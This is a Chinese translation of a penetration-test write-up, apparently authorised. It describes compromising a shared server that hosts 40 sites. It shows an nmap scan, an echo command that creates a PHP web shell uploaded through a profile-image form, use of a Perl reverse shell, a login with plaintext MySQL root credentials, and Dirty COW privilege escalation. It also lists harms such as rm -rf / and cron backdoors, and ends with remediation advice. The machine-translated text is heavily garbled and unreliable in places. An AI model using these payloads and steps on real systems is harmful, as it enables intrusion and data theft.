长话短说,我的履历总是局限于仿照环境,而且我认为自己是个有道德的白帽黑客,以是我从未入侵过别人的业务,一次都没有。
直到现在。本文讲述了我入侵一台托管了40个网站(确切的数字)的做事器的故事,以及在此过程中我的创造。
请把稳:本文讲述的技能涉及一些打算机科学领域的基本知识。

一位朋友见告我,他的网站中创造了一个XSS漏洞,他希望我能进一步理解一下。这是个很主要的阶段,由于我会哀求他授权我对他的web运用程序进行全面的测试,并授予我访问托管做事器的全部权限。结果他答应了。
在本文中,假定我朋友的网站地址为:http://example.com。
第一步是网络尽可能多的敌方信息,并把稳不要打草惊蛇。
在这个阶段,我启动计时器并开始扫描。
$ nmap --top-ports 1000 -T4 -sC http://example.comNmap scan report for example.com {redacted}Host is up (0.077s latency).rDNS record for {redacted}: {redacted}Not shown: 972 filtered portsPORT STATE SERVICE21/tcp open ftp22/tcp open ssh| ssh-hostkey:| {redacted}80/tcp open http| http-methods:|_ Potentially risky methods: TRACE|_http-title: Victim Site139/tcp open netbios-ssn443/tcp open https| http-methods:|_ Potentially risky methods: TRACE|_http-title: Site doesn't have a title (text/html; charset=UTF-8).|_{redacted}445/tcp open microsoft-ds5901/tcp open vnc-1| vnc-info:| Protocol version: 3.8| Security types:|_ VNC Authentication (2)8080/tcp open http-proxy|_http-title: 400 Bad Request8081/tcp open blackice-icecap
扫描大约在2分钟内完成了。
这台做事器上有很多开放的端口!
通过不雅观察,我创造FTP(端口21)和SMB(端口139/445)端口是开放的,我猜做事器用这些端口托管文件和共享文件,还创造这是一个web做事器(端口80/443,代理在端口8080/8081)。
如果上述扫描信息不足,我还会考虑做一次UDP端口扫描,扫描最常用的1000多个端口。现在我可以在无需认证的情形下访问的唯一端口是80/443。
抓紧韶光,我启动了gobuster,罗列出了Web做事器上所有有趣的文件,同时我将手动挖掘信息。
$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100/admin/login
原来/admin路径是一个“管理工具”目录,通过身份验证的用户可以利用这些工具修正web做事器上的内容。它须要身份验证,但是我既没有用户名,也没有密码,以是只能找别的方法。(剧透:gobuster没有创造任何有代价的东西。)
到目前为止,我用了大约3分钟。然而,一无所获。
在浏览网站的时候,它哀求我登录。这没紧要,我用虚拟电子邮件创建了一个账户,然后在几秒钟后点击确认电子邮件并成功登录。
网站显示了欢迎信息,并弹出对话框带我进入个人资料页面,哀求更新我的个人资料图片。做的很知心啊。
看来该网站是定制的,以是我决定测试一下无限制上传文件的漏洞。我在终端上运行了如下命令:
echo \"大众<?php system(\$_GET['cmd']); ?>\公众 > exploit.php
我试着上传该“图片”,哈哈!
该网站接管了上传exploit.php。当然这个文件没有缩略图,但是这意味着我的文件肯定上传到做事器的某个地方了。
获取exploit的位置
这里,我原来以为网站会对上传文件做一些处理,检讨扩展名,并更换为可接管的文件扩展名,比如.jpeg,.jpg,以避免攻击者上传恶意的远程操控代码,希望各位看官的网站都做到了。
毕竟大家都很关心安全问题。
是吧?是吧?……没错吧?
接下来“复制图片的路径”,实在便是复制如下路径:
http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php
看来我的网页木马程序已经做好准备且开始事情了:
我创造web做事器运行的是perl脚本(真的,perl?),于是我从常用的cheatsheet(http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)中拿了一个perl措辞的反向shell,设置好IP /端口,然后我得到一个低特权shell(对不起,没有截图)。
在第5分钟的时候,我已经拥有了低权限的shell。
令我惊异的是,该做事托管的不止1个网站,统共有40个不同的网站。很遗憾我没有保存每个细节的截图,只有如下的输出结果:
$ ls /var/wwwaccess.log site1/ site2/ site3/ {... 等等}
我想你也看出来了。让人惊愕的是,我可以读取所有托管网站,这意味着我可以访问所有网站的后台代码。我原以为我只能访问example.com的代码。
值得把稳的是,在cgi-admin / pages目录中,所有的perl脚本都以root身份连接到了mysql数据库。而数据库的身份验证因此明文保存的,就像这样:root:pwned42。
果真,做事器上运行的是MariaDB,在访问数据库之前我不得不借助于这个问题(https://github.com/dockerfile/mariadb/issues/3)。之后我运行了如下命令:
mysql -u root -p -h localhost victimdbnamePassword: pwned42
用root权限登录数据库后的截图如下:
“利用数据库用户”,我可以访问35个数据库并可以查看/修正数据库内容
仅用了7分钟,我就拥有了读写35(!
)个数据库的全部权限。
到了这里,从道德上讲我必须停滞这次黑客行动,并戳穿迄今为止的创造。这些潜在的危害已经十分惊人了。
攻击者将如何处置这些数据:
转储所有数据库的内容,导致所有35家公司的数据集体曝光。按照这种办法(https://stackoverflow.com/questions/9497869/export-and-import-all-mysql-databases-at-one-time)。
删除所有的数据库,一次性删掉35家公司的所有数据。
利用cronjob留后门,方便日后通过apache再次拜访。按照这种办法(http://blog.tobiasforkel.de/en/2015/03/19/setup-cron-job-for-apache-user/)。
我该当把稳到,在这里mysql进程因此root身份运行的,以是如果我考试测验运行\!
whoami,也容许以得到root的身份。不幸的是我仍旧是apache。
好了,安歇一下,计时结束。
还有什么更大的问题?
在戳穿了我的创造后,我得到了更多权限,可以进行更进一步的挖掘。
在探求方法可以将我的权限升级到root以制造巨大危害的可能性之前,我一贯在研究我受限的用户还可以查阅些哪些其他有趣的文件。
就在那时,我想起了开放的SMB端口。这意味着某个地方的某个文件夹该当是对系统用户共享的。经由一番筛查后,下面的目录涌如今了/ home / samba / secured目录中(请体谅我的批量审查):
这些目录保存了托管公司每个用户的文件。个中包括一些敏感数据,比如:
.psd / .ai文件(设计师知道私密的主要性,毕竟这是他们的事情和技能)
Cookie sqlite文件
发票
盗版电子书(看到这些时我不禁笑了)
WiFi的SSID和密码
攻击者将如何处置这些数据:
住在公司表面,登录到他们的内部网,并进行各种可以在本地网络上操作的有趣的攻击;
将上面列出的所有敏感数据公开到网络上。
花些韶光浏览这些文件夹,你就会认识到这个问题有多严重。再安歇一下。
末了一击
通过apache四处探求了一下子后,我决定去钓大鱼——拿到root用户。我喜好利用cheatsheet(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/),征采有趣的文件系统。
到目前为止我的征采已经用完了大部分的技能,但是却彷佛无法找到打破点。
就在此时,我溘然想到,在以前玩“夺旗”的寻衅中,操作系统常日会做一些改动,故意制造一些缺点的配置做事,终极为你供应所需的root权限。然而在现实天下中,人们可不会这么做。
我的意思是,看看Equifax。
做事器运行的是哪个Linux?
$ cat /etc/issueCentOS Linux release 7.2.1511 (Core)
Kernel是什么版本?
这个看似是个旧版的Kernel。
看到此图你能想起什么?(提示:这个问题非常非常严重)
如果没有,请点击这里:
https://www.theguardian.com/technology/2016/oct/21/dirty-cow-linux-vulnerability-found-after-nine-years
我在这篇博文中找到了我所须要的测试Kernel是否薄弱的脚本:
http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/
然后运行:
游戏结束!
我立时写了一封邮件,充分表露了上述每一步的细节以及潜在影响,一晚上的事情结束了,可以松口气了。
攻击者可以做什么:
读取/修正做事器上所有的文件;
留下一个永久的后门(通过apache);
安装恶意软件,并很有可能传播到做事器的内部网;
安装打单软件(以35家公司的数据库为例,所有托管公司的数据都被视为人质);
利用做事器作为加密货币矿工;
利用做事器作为代理;
将该做事器用作C2C做事器;
将做事器用作僵尸网络的一部分;
.……(你可以自己想象);
rm -rf /(绝对不是在开玩笑)。
第二天,我的朋友(他与运营做事器的公司取得了联系)见告我,文件上传中的bug已得到修复。
总结一下我们的创造:
Web运用程序存在无限制文件上传的漏洞,这将授予攻击者低权限的shell;
MySQL数据库的身份认证漏洞,这将授予攻击者读写35个数据库;
许多可读的敏感文件。
末了,攻击者可以滥用未打补丁的内核来获取root访问权限。
改良方法
首先文件上传的bug给了我们下手的机会。由于全体Web运用程序的后端都是用perl编写的(而我不会perl),以是我无法真正提出修复方案。
但是我可以建议一点:不假如利用2017版的perl,但这只是我的意见,大家可以随时证明我错了。
关于文件系统,我建议参考最小权限原则,谨慎地为用户分配恰当的文件权限。这样一来,纵然像apache这样低特权用户可以访问,他们也无法读取任何敏感文件。
在同一台做事器上运行所有网站不是明智之举,我不愿定docker化的方案是否可以办理这个问题。
所有数据库拥有相同的身份认证肯定是个很糟的主张。
单点故障常日不好。
末了,打补丁!
实际上只需运行一个命令:su -c'yum update'(特定于CentOS)。
原文:https://hackernoon.com/how-i-hacked-40-websites-in-7-minutes-5b4c28bc8824
译者:弯月,编辑:言则